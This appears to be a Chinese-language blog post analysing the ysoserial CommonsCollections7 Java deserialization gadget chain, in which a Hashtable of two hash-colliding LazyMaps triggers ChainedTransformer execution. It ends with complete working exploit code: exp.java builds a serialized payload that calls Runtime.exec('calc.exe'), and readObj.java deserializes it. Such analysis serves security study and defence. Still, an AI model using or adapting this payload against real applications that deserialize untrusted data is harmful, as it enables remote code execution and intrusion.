java反序列化-ysoserial-除錯分析總結篇(7)
前言:
CommonsCollections7外層也是一條新的構造鏈,外層由hashtable的readObject進入,這條構造鏈挺有意思,因為用到了hash碰撞
yso構造分析:
首先構造進行rce所需要的轉換鏈,這裡也用的是chianed裡面套Constantrans+invoketrans的方法
接著構造兩個hashmap,通過lazymap的decorate用chained進行裝飾後放進hashTable,這兩個lazymap放進去的值也比較有講究,要求計算出來的lazymap的hash相同
因為這裡hashtable放進第二個lazymap時,因為兩個lazymap的hash相同,所以將把第一個lazymap的key值yy放到第二個lazymap中(首先lazymap.get(‘yy’)嘗試從第二個lazymap中拿),此時將導致lazymap2中新新增yy->processImpl鍵值對
為了讓後面呼叫鏈時發生hash碰撞,所以這裡要移除該鍵值對,為什麼移除在後面呼叫鏈進行一個解釋
呼叫鏈分析:
首先反序列化讀出key和value,此時讀出的key為lazymap,將重新裝進hashtable中,這裡呼叫reconstitutionPut,將會對key算一個hash和一個table的索引值,此時要判斷是否該索引值處是否已經有元素,此時要判斷已經放進的第一個lazymap的hash和當前key的hash是否相同,那麼此時取出來的entry的key即為第一個lazymap,兩個hash值是相同的,即
e.hash==hash,所以進入第二個判斷兩個lazymap是否完全相同
此時將呼叫AbstractMap的equals方法,入口引數值即為要放入的lazymap
此時將首先判斷一下兩個lazymap的大小一樣不一樣,因為之前構造payload的時候已經移除了第二個lazymap中yy->yy鍵值對,因此此時兩個lazymap的空間大小一致都為1
此時遍歷該map,首先將取出第一個lazymap中key和value為yy->1,如果value為null,則如果從第二個lazymap中取出該key的value不為null並且第二個lazymap包含該key,則判斷兩個lazymap不一樣,但是這裡value不為null,因此進入else判斷,即判斷兩個lazymap的value是否相同,此時呼叫第二個lazymap的get函式,key即為yy
那麼呼叫了lazymap.get,就又回到了我們之前的套路了,呼叫this.factory.transform
此時接著就是呼叫chainedtransformer的transform進行rce了
手動exp構造:
exp.java
package CommonsCollections7; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class exp { public static void main(String[] args) throws IOException { Transformer[] trans = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(trans); //構造兩個hash值相同的lazymap Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1,chain); lazyMap1.put("yy",1); Map lazyMap2 = LazyMap.decorate(innerMap2, chain); lazyMap2.put("zZ",1); Hashtable hashTable = new Hashtable(); hashTable.put(lazyMap1,1); hashTable.put(lazyMap2,2); lazyMap2.remove("yy"); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser"); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file)); obj.writeObject(hashTable); } }
readObj.java
package CommonsCollections7; import java.io.*; public class readObj { public static void main(String[] args) throws IOException, ClassNotFoundException { File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser"); ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file)); obj.readObject(); } }
&n